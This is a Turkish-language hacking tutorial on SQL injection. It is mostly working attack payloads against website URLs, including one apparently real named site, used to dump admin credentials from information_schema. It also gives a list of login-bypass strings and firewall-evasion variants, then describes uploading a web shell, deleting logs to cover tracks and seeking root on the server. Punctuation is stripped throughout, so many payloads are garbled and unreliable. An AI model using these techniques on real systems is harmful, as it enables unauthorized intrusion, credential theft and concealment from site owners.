Evet kolon sayımızı oumlğrendikKolon sayımız 8rsquomişŞimdi ekrana kolonları yansıtacağızDaha sonraekrana yansıyan kolonlardan işlemlerimize devam edeceğizKolon sayılarını yansıtma işlemini UNIONSELECT komutları ile yapıyoruzHemen başlayalım

Oumlrnek wwwsayfamcomsayfaphpid=2+union+select+ kolon sayılarımız-- şeklinde hemenyapalım

wwwsayfamcomsayfaphpid=2+union+select+12345678-- yazdıkSayfamıza 12345678sayılarından hangileri yansıdıysa o sayılardan birini seccediliyoruz ve o sayı ile devam edeğiz

-Bypass Yukarıda ekrana kolon sayılarını yansıtmıştıkEkrana kolonların yansımadığını farzedelimBurada devreye bypass giriyorBypassrsquoın net bir tanımı yokturAma bu şekilde saldırılaryaptığımızda bizim karşımıza ccedilıkan engelleri bazı yollarla aşmanın genel ismidir bypass

Şimdi wwwsayfamcomsayfaphpid=2+union+select+12345678-- şeklinde yazdık ekrana kolonyansımadıBypassrsquoı devreye sokacaz hemen

wwwsayfamcomsayfaphpid=2+union+select+12345678-- şeklinde ifadesinikullanarak bypass ediyoruzBu şekilde genelde ekrana kolon sayısı yansırAma bununda faydaetmediği yerler oluyorO Vakit

wwwsayfamcomsayfaphpid=2+union+(select+12345678--) veyawwwsayfamcomsayfaphpid=-2+union+select+12345678-- yapıyoruzBu genelde faydaeder ama bunuda kabul etmediği zamanlarda şunları yapabiliriz

wwwsayfamcomsayfaphpid=-2+UnIon+SeLeCt+12345678--

wwwsayfamcomsayfaphpid=-2+union+select+12345678--

wwwsayfamcomsayfaphpid=-2+union+select+12345678--

wwwsayfamcomsayfaphpid=-2+union+select+12345678-- şekillerindede bu hatalarıaşmamız muumlmkuumlnduumlrBununla ilgili Web Guumlvenlik Accedilıkları boumlluumlmuumlnde yeterince konum mevcuttur

Şimdi bakalım ekrana yansıyan kolonlara OumlR 2 ve 7 sayıları yansımışBundan sonraki tuumlmişlemlerimizi bu 2 ve 7 sayıları uumlstuumlnden gerccedilekleştireceğizYani yansılan kolonlar uumlzerinden

10-Saldırı Anı4(Tablo İsimlerini Ccedilekmek - Aksi Halde Bypass)

Ekrana nasıyan 2 ve 7 kolonları uumlzerinden devam ediyoruz

Oumlnce Group_Concat Fonksiyonunu tanıyalım

Bu fonksiyon sorgumuz sitede elde ettiğimiz verileri birleştirmeye yarar Oumlrneğin veritabanındakullanıcı adı ve şifre iki ayrı kolonda tutuyorsak bu fonksiyon aracılığı ile birleştirip doumlnduumlrebilirizŞimdibiz kolon sayılarında 2 yi seccedilip 2 uumlzerinden işlem yapalım

wwwsayfamcomsayfaphpid=-2+union+select+1database()345678-- Şeklinde bir sorgugoumlnderdiğimizde sitemizdeki database (Veritabanı) ismini oumlgreniyoruz

wwwsayfamcomsayfaphpid=-2+union+select+1version()345678-- Şeklinde bir sorguda isebize MySql Veritabanırsquonın Versiyonunu verirBunu version şeklindede sorgulayabilirsinizŞimditabloları ccedilekelim

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables--

Şeklinde bir sorgu goumlnderdikPeki biz burada ne dedik

table_name = Tablo isimleri

information_schema = MySql Veritabanındaki INFORMATİON_SCHEMA adlı veritabanındakitabloların kolonların isimlerini veriri

information_schematables = INFORMATİON_SCHEMA Adlı veritabanındaki tablo isimlerini bizeverir

information_schemacolumns = INFORMATİON_SCHEMA Adlı veritabanındaki kolon isimlerini bizeverir

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables+where+table_schema=database()--

table_schema=database() = Bu sorguda bize sadece sitenin veritabanındaki tabloları vermesiniisteriz

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables+where+table_schema=database()--

Şeklinde bir sorgu goumlnderdiğimizde bize veritabanındaki tablo isimlerini verecektirBuradaki komutlarıiyi tanımanızı tavsiye ederim

Ekrana yansıyan tablo isimlerine bir bakalım

adminresimleradreslerhizmetler vs vs olsun

bize burada lazım olacak tabloyu seccediliyoruz admin

Şimdi biz bu komutu sorgu olarak siteye goumlnderdikAma ekrana tablo isimler yansımadı neyapacağız

Burada gene araya bypass giriyorŞimdi sorguda vurgulanan yer neresidir Tablo isimleri

Şimdi sorgudaki tablo isteklerinde bir değişiklik yapıyoruz

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(TaBlE_Name)345678+from+information_schemaTabLeS+where+TaBLeS_schema=database()--

Şeklinde değişikliğimizi yapuyoruzEkrana tablo isimlerimizin yansıdığını goumlreceksiniz

Bu Şekilde de yansımadığını farz edelimBurada database() fonksiyonunu hexleyelim (Hex birşifreleme tuumlruumlduumlrMozillarsquonın Hackbar Eklentisinde Hex hizmeti mevcuttur)

Hexlenecek isim database()

Hexlenmiş Hali 64617461626173652829

Yanlız şunu unutmamak gerekirHexlediğimiz tuumlm değerlerin başına 0x koymamız gerekirYani sonhali şudur 0x64617461626173652829 Şimdi tekrar ccedilekelim tablolarımızı

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(column_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=0x64617461626173652829--

Sorguyu goumlnderdiğimizde tabloların yansıdığını goumlreceksinizBu Hex taktiğini kolonlar uumlzerindedeyapabilirsiniz

11-Saldırı Anı5(Tablolardan Hedef Veriyi Ccedilekmek - Aksi Halde Bypass)

Evet tablo isimlerini ekrana yansıttık istediğimiz bir tabloyu seccediltikTablo ismimiz admindi

Şimdi tablo iccedilerisindeki sutuumlnları ccedilekelim bakalım ne varmış

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=admin--

Sorguyu goumlnderdikEkrana UsernamePasswordEmailid Şeklinde sutuumlnlar yansıdıBize lazımolacak Sutuumlnları seccediliyoruzBen UsernamePassword Seccediliyorum ve Devam ediyoruz

Eğer biz bu şekilde sutuumlnları yansıtma esnasında sutunlar yansımasaydı ne yapabilirdik Buradatekrar bir bypass tekniği giriyor işin iccedilineBurada admin tablosunu hexleyelim

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=admin--

Hexlenecek ad admin

Hexlenmiş hali 61646d696e

Kullanılır hali 0x61646d696e Sorguyu goumlnderiyoruz

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=0x61646d696e--

Goumlnderdik ve ekrana tekrar UsernamePasswordEmailid Sutuumlnlarının yansıdığını goumlruumlyoruz

Şimdi seccediltiğimiz UsernamePassword sutuumlnlarının iccedilerisindeki veriyi ccedilekelim

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(UsernamePassword)345678+from+0x61646d696e--

Sorguyu goumlnderdik

Username admin

Password bugres

Evet Adminrsquoin kullanıcı adı ve şifresi yansıdıPeki yansımaydı nasıl bir bypass tekniğikullanırdıkUsername Passwordrsquo Char Codersquolarına ccedileviricezMozillarsquonın Hackbar Eklentisindemevcuttur

UsernamePassword Char Code Ccedilevrilmiş Hali

StringfromCharCode(85 115 101 114 110 97 109 101 44 80 97 115 115 119 111 114 100)

Char Code halini group_concat() fonksiyonunun arasına yazıyoruz

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(StringfromCharCode(85 115 101114 110 97 109 101 44 80 97 115 115 119 111 114 100))345678+from+0x61646d69--

Şeklinde sorguyu goumlnderdiğimizde tekrardan yansıma işleminin yapıldığını goumlreceksiniz

12-Saldırı Anı6(Hedef Veriyi Kullanarak Sisteme Girmek)

Ccedilektiğimiz KAdı ve Şifreyi kullanarak sisteme youmlnetici olarak giriş yapacağız şimdi

Tekrar hatırlayalım

Uname admin

Pword bugres

Youmlnetici olarak sisteme giriş yapabilmemiz iccedilin sitede bir youmlnetici panelinin olması gerekirBu Youmlneticipaneli yani admin paneli ccediloğu sitede mevcutturŞimdi biz admin panelini nasıl bulacağız

Panel yolunun tahmin ile veya farklı programlar kullanarak bulabilirizOumlnce bir tahmin yoluyladeneyelim

Eğer sistem Wordpress Joomla gibi hazır sistemler kullanılarak hazırlanmış ise admin panelleri zatenstandarttır

Wordpress Admin panel yolu wp-admin

Joomla admin panel yolu administrator

Eğer hazır sistem değilse tahmin veya programlarla bulabiliriz

Tahmine başlıyoruz

wwwsayfamcomadmin -gt Error

wwwsayfamcomyoneticiphp -gt Error

wwwsayfamcomadminphp -gt Error

wwwsayfamcomlog_inphp -gt Yess P

Evet admin panelini buldukLog_inphp imişKullanıcı adını ve Şifresini kullanarak panele girişyapıyoruzBurada iccedilerikleri değiştirebiliyoruzYeni iccedilerik ekleyebiliyoruzYani herşeyi yapabiliyoruz

Shell sokmak Bir upload boumlluumlmuuml bulup shellimizi upload ediyoruzSistemde yetki sahibiyiz

13-Saldırı Anı7(İzlerimizi Silmek)

Evet sisteme girdikSite sistemi log(kayıt) tutuyor olabilirYani admin paneline girişimizi veya uploadettiğimiz dosyaları log tutuyor olabilirBurada sistemde işimizi bitirdikten sonra yapmamız gereken şeyupload ettiğimiz shell i ve logları silmekSilmez isek tehlike arz ediyor

14-Sonuccedil

Neler yaptık

Sisteme guumlvenlik accedilığı bulup admin şifresini ve kullanıcı adı adını ccedilekerek sisteme girişyaptıkShellimizi yuumlkledikPeki yapacaklarımız bunlarla mı sınırlı hayırServerdeki sitelere de girmeşansımız mevcutServer daki en uumlst duumlzey yetkiye sahip olan ROOT dediğimiz şahısın yerine geccedilerekyani sistemde ROOT olarak server daki diğer sitelere giriş yapabilirizROOT İşlemli Linux veWINDOWS serverlarrsquoa goumlre değişkenlik goumlsteriyor

15- Kaccedil Tuumlr SQL İnjection Vardır

a-) MySql İnjection

Evet kaccedil tuumlr SQL İnjection saldırısı vardır konu başlığı altında SQL İnjection tuumlrlerinitanıyacağız

SQL İnjection tuumlrlerini bize verdikleri hatalar sayesinde oumlgrenirizYani Normal bir SQL İnjection hatasıile Mysql injection veya access Sql injection arasında dağlar kadar fark mevcut

Daha oumlncesinde SQL İnjection accedilığının tespitini oumlğrenmiştikŞimdi Mysql injection accedilığının hatasınabir goumlz atalım

Goumlrduumlğuumlnuumlz gibi normal bir SQL hatasından ccedilok farklı

Bu accedilığın kullanımına geccedilelim

Aslında normal bir SQL İnj accedilığından farklı bir kullanımı yok MySqlrsquoinAma anlatalım gene deMysqlversiyonuna goumlre bazen değişiklik goumlsterebiliyorMysql version 5 olsaydı kolay kolay VericcedilekemezdikAma artık 4 pek fazla kullanılmadığı iccedilin 5 uumlzerinden devam

Hedef sitemiz httpwwwparoswinesgrenglishproductphpid=22

Kolon sayısını arayalım httpwwwparoswinesgrenglishproductphpid=22+order+by+1-- yaptıksayfa duumlzeldiorder by 10 yaptık sayfada tekrar MySql İnjection hatası belirdiYani 10 dan kuumlccediluumlkolduğunu anlıyoruz Kolonumuzun

Teker teker iniyoruz order+by+9-- yaptıkSayfada hata duruyor8 Yaptık sayfa duumlzeldiDemek kikolon sayısı 8 miş

Şimdi kolonları yansıtalım

httpwwwparoswinesgrenglishproductphpid=-22+union+select+12345678-- bakıyoruz

Ekrana 3 sayısı yansıdı3 Uumlzerinden devam ediyoruz

Yukarıda SQL Komutlarını goumlrmuumlştuumlkBu yuumlzden burada anlatmama gerek yok

httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(table_name)45678+from+information_schematables+where+table_schema=database()--

Sorgusunun ardından ekrana tablersquolar yansıdı

Tables adminkullanicilarhizmetlergoumlrseller hellip admin tablosu işimizi goumlruumlr )

Şimdi admin tablosundaki kolonlara bakalım

httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(column_name)45678+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--

Ekrana userpassmail yansıdığını farz edelim

httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(userpassemail)45678+from+admin--

User admin

Pass 123456

Email adminparoswinescom

b-) Ms Access SQL İnjection

Access SQL İnjection tahmine dayalı bir accedilıktırYani netlik ifade etmezTablo ismini biz kendibeyin guumlcuumlmuumlzle tahmin guumlcuumlmuumlzle bulmaya ccedilalışırızBana goumlre en zahmetli injection tuumlruuml

SQL İnjection accedilıklarını hatalarına goumlre sıralıyordukAccess SQL İnjection accedilığının da kendine oumlzguumlbir hatası vardırBu accedilığı bu hata ile anlarızAccess SQL İnjection ASPNET ile kodlanmış sitelerdegoumlruumlluumlr genellikleCcedilok yaygın bir SQL İnjection tuumlruumlduumlr

Hedef bir sitemiz olsun wwwsitecomsayfaaspid=1 şeklindeŞimdi id=1 değernin yanına lsquo koyalımaccedilık tespiti iccedilin wwwsitecomsayfaaspid=1rsquo

Eğer boumlyle bir hata alıyorsak Ms Access SQL İnjection accedilığını bulduk demektir

Microsoft JET Database Engine error rsquo80040e14rsquo

Syntax error in string in query expression rsquoid = 10rsquo

sayfaasp line 7

Şimdi Kolon sayısını oumlgrenelim tekrar ORDER BY komutunu kullancaz

wwwsitecomsayfaaspid=1+order+by+1 yaptıkSayfa eski haline geldiEkrandaki hata gitti

wwwsitecomsayfaaspid=1+order+by+10 yaptıkSayfa değişti yani farklı bir hata var alınan hata

Microsoft JET Database Engine error rsquo80040e14rsquo

The Microsoft Jet database engine does not recognize rsquo10rsquo as a valid field name orexpression

sayfaasp line 7

Bu hatada kolon sayısının 10 dan az bir sayı olduğunu soumlyliyor bizeŞimdi teker teker inerek devamediyoruz taaki sayfa duumlzelene dek

wwwsitecomsayfaaspid=1+order+by+9 yaptık aynı hata mevcutorder+by+8 yaptık gene aynıhata mevcut7 de tekrar hata aldık 6 yaptık ekrandan hata gittiAnlıyoruz ki kolon sayısı 6rsquoymış

Sıra geldi tahmin kısmınaİşimize yarayacak tabloyu tahmin etmemiz gerekiyorOumlnce admintablosundan başlayalım

wwwsitecomsayfaaspid=1+union+select+123456+from+admin-- yaptıkkarşımıza

Hata gelmedi Yani admin diye bir tablo mevcutmuşEkrana kolonlar yansıdı yansıyan kolonlar 2-4olduğunu farz ediyoruz ve 2 ve 4 sayılarına sutuumln değerini yazıyoruzYani

wwwsitecomsayfaaspid=1+union+select+1username3password56+from+admin--

ŞeklindeEğer ekrana username ve password yansımadıysa sutuumln isimleri username passworddeğildir

wwwsitecomsayfaaspid=1+union+select+1user3pass56+from+admin--

Şeklinde Yazdığımızda Ekrana user ve pass yansıdığını goumlreceğizTabi burada kolonları ve tablolarıtahmin olarak yazdıkTuumlm sitelerde user pass olacak diye bir kaide yoktur

User mahserat

Pass bugres

c-) Blind SQL İnjection

Blind SQL İnjection diğer accedilık tuumlrlerinden farklıdırYani SQL İnjection accedilığında id=2değerinin yanına koyduğumuz lsquo ve lsquoa sayesinde accedilık olup olmadığını anlıyordukFakat Blind SQLİnjectionrsquoda bu durum değişiyorAccedilığı lsquo veya lsquoa kullanarak almıyoruz Şoumlyle bir durum daha var normalSQL İnjection tuumlrlerinde hata alırken Blind Sql injection da hata almıyoruz

Gene bir hedef site duumlşuumlnuumln

wwwsayfacomdosyaphpid=2 olsun

Burada Blind SQL İnj olup olmadığını şu şekilde anlıyoruz

wwwsayfacomdosyaphpid=2 and 1=1-- yapıyoruz ilk baştaSayfada değişiklik olmuyor

and 1=2-- yaptığımızda sayfa değişiyorHata olmuyor ama sayfa değişiyorDiğer Tuumlrlerden ayıran biroumlzellik de budurEvet sayfa değiştiği iccedilin burada Blind SQL İnjection vardır diyebiliriz

Hemen MySQL Versiyonunu oumlğrenelimOumlnce and substring(version11)=4 komutuyla versiyonun4 muuml olduğa bakıyoruz

wwwsayfacomdosyaphpid=2 and substring(version11)=4 şeklinde sorgu goumlnderdikSayfadabozulma olduYani 4 değilBu sefer and substring(version11)=5 komutu ile versiyonun 5 olupolmadığına bakalım

wwwsayfacomdosyaphpid=2 and substring(version11)=5 sorgu goumlnderdiğimizde sayfadasorun yoksa eğer demek ki MySQL Versiyonu 5 miş

Eğer versiyonu 4 olsaydı tahmin yoluyla yapmak zorunda kalırdıkŞimdi tabloları ccedilekelim

wwwsayfacomdosyaphpid=2 and substring((select table_name from information_schematableswhere table_name like 0x257573657225)11)=0x75 komutunu yazacağızBurada dedik ki iccedilerisindeusers geccedilen ilk tablonun ilk harfi 0x75 yani ursquomu eğer u ise demek ki sayfa duumlzguumln accedilılacakTablonunUsers olduğunu farz ederek devam ediyorum

wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 21)150) like 0x257061737325

burada 0x7573657273 bu users demek like 0x257061737325 buda pass demek yani yinedeniyoruzBurada limit 2 dedimNedeni ise genelde user ve pass sitede 01 ve 2 kolonlarda olurBuarada goumlrduumlğuumlnuumlz 0x ile başlayan sayılar sizinde bileceğiniz uumlzere Hexrsquodir

Şimdi user sutuumlnunu ccedilekelim

wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 11)150) like 0x75736572

Diyelim ki İki kolonud a doğru tahmin ettikŞimdi ne var elimizde user ve pass kolonlarıvarİccedilerisindeki veriyi ccedilekelim

and substring((select user from users)11)=0x(tahmin edilen users)

and substring((select pass from users)21)=0x(tahmin edilen users)

Bu şekilde Hex ile harf harf tahmin ederek teker teker ccedilekiyoruz

Biraz zordur Blind SQL İnjectionAma pes etmemek gerekir

d-) String SQL İnjection

Normal bir SQL İnjection saldırısında ne yapıyorduk Oumlnce lsquo veya lsquoa koyarak SQL HatasıalıyordukDaha sonra ORDER BY komutu ile kolon sayısını oumlğrenip devam ediyordukString SQLİnjectionrsquoda işler değişiyorYani normal saldırıdaki gibi lsquo lsquoa koyuyoruz ama ORDER BY ile kolonsayısını oumlğrenmek istediğimizde oumlğrenemiyoruzYani

wwwsitecomsayfaphpid=1+order+by+1-- yapiyoruzSayfa eski haline doumlnuumlyor

wwwsitecomsayfaphpid=1+order+by+99999999999999999-- yapıyoruz sayfada bir hata olmuyorsayfa değişmiyorBu String SQL İnjectionrsquodurHemen kullanımına geccediliyoruz

wwwsitecomsayfaphpid=1rsquo yaptık SQL Hatası aldıkHemen kolon oumlğrenelim

wwwsitecomsayfaphpid=1+order+by+10-- YaptıkSayfa eski haline geldiHata yok

wwwsitecomsayfaphpid=1+order+by+100-- YaptıkSayfada gene bir hata soumlz konusu değil

wwwsitecomsayfaphpid=1+order+by+1000-- gene bir hata yokBurada String devreye giriyor

Hemen bakalım wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquox yaptıkSayfa değişmedi hatavermediBurada sitemizin x=x mi olduğunu sorguladıkBir değişiklik olmadı yani bize olumlu youmlndecevap verdi

wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquoy dedikBize olumsuz bir yanıt verdiGirdiğimiz lsquo and lsquoxrsquo=rsquoykomutu ile siteye x=y mi diye sordukOlumsuz bir yanıt almıştıkSite bize X Nasıl Y lsquoye eşit olabilir diyefırccedila attı )

Biraz olsa Blind SQL İnjectionrsquoa benziyor bu tuumlr

Hemen kolon sayısını ccedilekelim wwwsitecomsayfaphpid=-1rsquo union select+0123 and lsquoxrsquo=rsquox diyesorgu goumlnderiyoruzFakat burada 0123 dikkatOumlnce 0 dan başlıyoruzteker teker ilerliyoruzSayfayakolon sayıları yansıyana kadar devam ediyoruzEkrana 2 nin yansıdığını farz ederek devam edelim

wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(table_name)+from+informations_schematables+where+table_schema=database())3and lsquoxrsquo=rsquox

Yansıyan kolon sayısı 2 idiBizde 2 uumlzerinden işleme devam ettikNormal şartlardafrom+information sorgusu satırın sonunda iken burada tuumlm goumlrevi 2 kolona devrettikFakatunutmayalım Parantezler iccedilerisinde

Evet tablolar yansıdıOumlrnek olarak admin tablosunun yansıdığını farz edelim ve devam edelim

wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(column_name)+from+informations_schemacolumns+where+table_schema=database()+and+table_name=rsquoadminrsquo)3 and lsquoxrsquo=rsquox

Evet admin tablosundaki sutuumlnları yani kolonları yansıttıkKolonlar emailidusernamepasswordolduğunu farz ediyoruz

wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(usernamepassword)+from+rsquoadminrsquo)3 and lsquoxrsquo=rsquox

Şeklinde Kadı ve Şifreyi ccedilektik

e-) SQL İnjection Login Bypass

SQL İnjection Login Bypass ccedilok basit bir injection tuumlruumlduumlrWeb Sitelerindeki Login Kısımlarındameydana gelen bu accedilık birccedilok web sitesinde mevcutturBir admin panelini hedef alarak saldırıyabaşlayalım

Bu tarz bir login kısmı olduğunu farz edelimBurada Kullanıcı adını ve Şifresini bypass edeceğizPekinasıl

SQL İnjection da login panelleri iccedilin bypass kodları mevcutturBunlardan birkaccedilrsquoını vereyim sizlere

adminrsquomdash

rsquo or 0=0 --

rsquo or rsquo 1=1

rsquo or rsquo 1

rsquo or rsquo

or 0=0 --

or 0=0 --

rsquo or 0=0

or 0=0

or 0=0

rsquo or rsquoxrsquo=rsquox

or x=x

rsquo) or (rsquoxrsquo=rsquox

rsquo or 1=1--

or 1=1--

or 1=1--

rsquo or a=a--

or a=a

rsquo) or (rsquoarsquo=rsquoa

) or (a=a

hi or a=a

hi or 1=1 --

hirsquo or 1=1 --

hirsquo or rsquoarsquo=rsquoa

hirsquo) or (rsquoarsquo=rsquoa

hi)or(a=a

Bu kodlar sayesinde Login kısmını bypass edebilirizBu accedilık ccediloğu web sayfasındamevcutturGenellikle panel yolu adminadminphp olan web sitelerinde goumlzuumlme batmadı değilEvet birbakalım kendimize bir bypass kodu seccediliyoruz

lsquoORrsquo lsquo=rsquo kodunu seccediltimŞimdi gerekli text kısımlarına yazalım

Evet resimde goumlruumllduumlğuuml gibi Kullanıcı adı ve şifre kısmına kodumuzu yazdıkGiriş Yap diyoruz

Goumlruumllduumlğuuml uumlzere giriş başarılı oldu ) Evet Login bypass bu kadar basit bir mevzu

f-) PostData SQL İnjection

Bu injection tuumlruuml ASPNET sitelerde textboxlarda mevcut olan bir accedilıktırDiğer HTMLsitelerde ise ltinput type=rdquotextrdquo lsquolarda mevcut bir accedilık tuumlruumlduumlrCcedilok basittirNormal bir SQL İnjectionaccedilığıda sitede accedilık analizi yapma şeklimiz şuydu wwwsitecomsayfaphpid=1rsquo idiBurada adıuumlstuumlnde POSTDATA yani POST Methotlarının kullanıldığı yerlerde bu injection saldırısınıyapacağızPeki nasıl

Şimdi iki adet text kısmı duumlşuumlnuumln Kullanıcı adı ve Şifreden oluşan

ŞeklindeBurada 2 adet Text mevcutBuraya injection saldırısı yapacağızŞimdi goumlrduumlğuumlmuumlzTextlere Normal İnjectiondaki saldırılar gibi lsquo veya lsquoa karakterlerini ekliyoruz

Evet ekledikten sonra GOumlNDER botunona basıyoruzKarşımıza

Şoumlyle bir SQL İnjection hatası ccedilıkarsa bu login dosyasında SQL İnjection accedilığı mevcutturdiyebilirizŞimdi tekrar login kısmına geri doumlnuumlyoruz ve kaynak kodunu goumlster diyoruz

ltform name=t1 method=POST action=loginaspxgt

Kaynak kodundaki oumlnemli olan yer uumlstteki Method durYani goumlnderilen veri POST MethoduylagoumlnderilmelidirPOST lsquoun diğer Methodlardan farkı ise POSTrsquoun hızlı ve guumlvenilir olmasıdır

Peki bu accedilığı nasıl kullanacağız

Kaynak kodunu alıyoruz bir notepadrsquoa yapıştırıyoruzDaha sonra ltform name=t1 method=POSTaction=loginaspxgt Kodundaki POST Methodunu GET Methoduna ccedileviriyoruzDaha sonra loginaspxdosyasının tam yolunu belirtiyoruzYani

ltform name=rdquot1rdquo method=rdquoGETrdquo actionrdquohttpsitecomloginaspxrdquogt

Kaynak kodlarında bu kısmı bu şekilde duumlzetip html uzantılı kaydediyoruzDaha sonra tekrar birtarayıcıda accedilıyoruz ve textlere lsquoa koyuruzLinkte wwwsitecomloginaspxkadi=rsquoaampsifre=rsquoaampSubmit=GF6nder şeklinde goumlzuumlkecektirwwwsitecomloginaspxkadi=arsquoa şekline SQL İnjection toolarıyla accedilığı kullanabilirsiniz

SQL İnjection saldırısını ve tuumlrlerini iliklerine kadar biliyorsunuz artık )

Şimdi sıra SQL Mod_Security order by union select komutların nasıl bypass edileceğini anlamayageldi

SQL İnjection Bypass

Merhaba arkadaşlar

Bu yazıda sizlere SQL İnjection da takıldığımız bize sorun ccedilıkaran bazı komutların bypass youmlntemlerinianlatmaya ccedilalışacağım Umarım yararlı olur

SQL İnjection lastik gibidir nereye ccedilekerseniz oraya gider Aynı şekilde sql injection bypassyoumlntemlerinde de bu olay boumlyledir

a)

Oumlncelikle sizlere baştan başlarsak order by komutunun nasıl bypass edileceğinden vekarşılaşabileceğimiz sorunlardan bahsedeyim

Order by komutunu sql injection saldırılarında kolon sayısı bulamak amacıyla kullanırız Ama bazenhedef sitede ki guumlvenlik duvarlarına takılır kalırız ve kullanmış olduğumuz komutu ccedilalıştıramaya biliriz

Burada hemen bypass devreye girmektedir Nasıl mı Bir Web Site duumlşuumlnuumln

wwwsayfamcomdosyaphpid=1rsquo yaptığımız vakit bize standart bir sql hatası verecektir

Burada sql accedilığı olduğunu anlarız Hemen order by komutu ile kolon sayısını oumlğrenmeye ccedilalışırız

wwwsayfamcomdosyaphpid=1+order+by+1-- fakat sayfadaki hata hala devam eder burada bypassdevreye girer Normal şartlarda order by 1 komutu ile sayfayı eski haline getirirken bu komutccedilalışmadı

Şimdi bunu nasıl bypass edeceğimizden bahsedelim SQL injection bypasslarin de genellikle specialchars dediğimiz oumlzel karakterler devreye girer Burada ki order by komutunu hep beraber bypassedelim

wwwsayfamcomsayfaphpid=1)+order+by--+ burada ki komutumuz da uumlstteki order by dan farklıolarak 1-2 oumlzel karakter kullandık + ve )

order+by+1mdashsonuna + koyduk

id=1 değerinin başına da ) koyduk

Tekrar sorguyu ccedilalıştırdığımızda sayfa eski haline doumlnecektirAyın şekilde

wwwsayfamcomsayfaphpid=1+order+by+1--

wwwsayfamcomsayfaphpid=1orderby1--

wwwsayfamcomsayfaphpid=1+(order)+(by)+1--

wwwsayfamcomsayfaphpid=1+order+by+1--

wwwsayfamcomsayfaphpid=1+order+by+1-- şeklinde bypassler soumlz konusu olabilir Kısacahepsi aynı goumlrevi goumlruumlyor buradaki bypass sizin hayal guumlcuumlnuumlze kalmıştır

b)

Bu sefer de union select komutunu gerccedilekleşen aksi bir durum da nasıl bypass edeceğimizigoumlstereceğim

Tekrar bir sayfa duumlşuumlnmenizi istiyorum O değilde bir şeyleri duumlşuumlnmenizi isteyince kendimi arefzannetim bir an )) Neyse şamatayı bırakalım işimize bakamlım tekrar bir site duumlşuumlnelim

wwwsayfamcomsayfaphpid=1rsquo koyduk sql hatamızı aldık

wwwsayfamcomsayfaphpid=1+order+by+1-- yaptık eski haline doumlnduuml sayfamız

wwwsayfamcomsayfaphpid=1+order+by+10-- yaptık hata aldık 9 yaptık hata almadık kolonsayımız 9 hellip

Şimdi ekrana kolon sayılarımızı yansıtma işlemine geccedilelim bunun iccedilin union select komutunukullanacağız

wwwsayfamcomsayfaphpid=1+union+select+123456789--

yaptık sayılar sayfaya yansımadı veya forbidden hatası verdi Şimdi ne yapacağız Tekrar aklımızaoumlzel karakterlerimizi getirerek mantığa uygun bir biccedilimde bypass girişimlerini yapalım

Bir bypass da kullanabileceğimiz bazı karakter oluşumları

---+-- -00Şimdi bunları kullanarak biraz oyun oynayalım ne dersiniz ))

İlk olarak

wwwsayfamcomsayfaphpid=1+union+select+123456789--

deneyelim Baktık ki sayfaya tekrar yansımadı Burada pes etmeyeceğiz demiştik sql injection lastikgibidir nereye ccedilekerseniz oraya gider diye Hayal guumlcuumlnuumlze goumlre karakterlerimizi tek tek yazalım vetekrar sorgulatalım bu iş iccedilin sabır gereklidir en sonunda istediğinizi alınca his edeceğiniz o sevinccedilduygusunu tarif edemem ))

wwwsayfamcomsayfaphpid=-1+unIoN+SeLecT+123456789--

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+(union+select+123456789--)

wwwsayfamcomsayfaphpid=-1unionselect123456789--+

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+unionampa=selectampa=123456789-- -

wwwsayfamcomsayfaphpid=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAA 1000 AdetAs)+UnIoN+SeLeCT+123456789--+

wwwsayfamcomsayfaphpid=1+UnioN+SELECT+123456789--

wwwsayfamcomsayfaphpid=1+(UnIoN)+(SelECT)+123456789--

wwwsayfamcomsayfaphpid=1+(UnIoN+SelECT)+123456789--

wwwsayfamcomsayfaphpid=1+(UnI)(oN)+(Sel)(ECT)+123456789--

wwwsayfamcomsayfaphpid=1+UnIon+SeLeCt+123456789--

şeklinde onlarca bypass teknikleri bulunmaktadır ))

c)

Evet arkadaşlar b) yan başlığında goumlrduumlğuumlmuumlz uumlzere union select komutunu bypass ettik ve karşımızakolon sayıları yansımıştır Biz 469 sayılarının yansıdıklarını farz ederek devam edelim

Şimdi sırada group_concat komutunun bypass edilmesinde

Tekrar bir web site hayal ediyoruz bu sefer union select ile sayılar ccedilekilmiş bir şekilde

wwwsayfacomsayfaphpid=-1+union+select+123456789--

ne demiştiş 469 yansımıştı 4 den devam edelim

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

şeklinde tablo isimlerini ccedilekmeye ccedilalıştık karşımıza forbidden veya farklı bir hata geldi

Group_concat bypass tipleride aynı mantıkla yapılır

group_concat()

grOUp_ConCat(user0x3epass)

group_concat(0x3c62723e)

şeklinde uygulamalar yapacağız

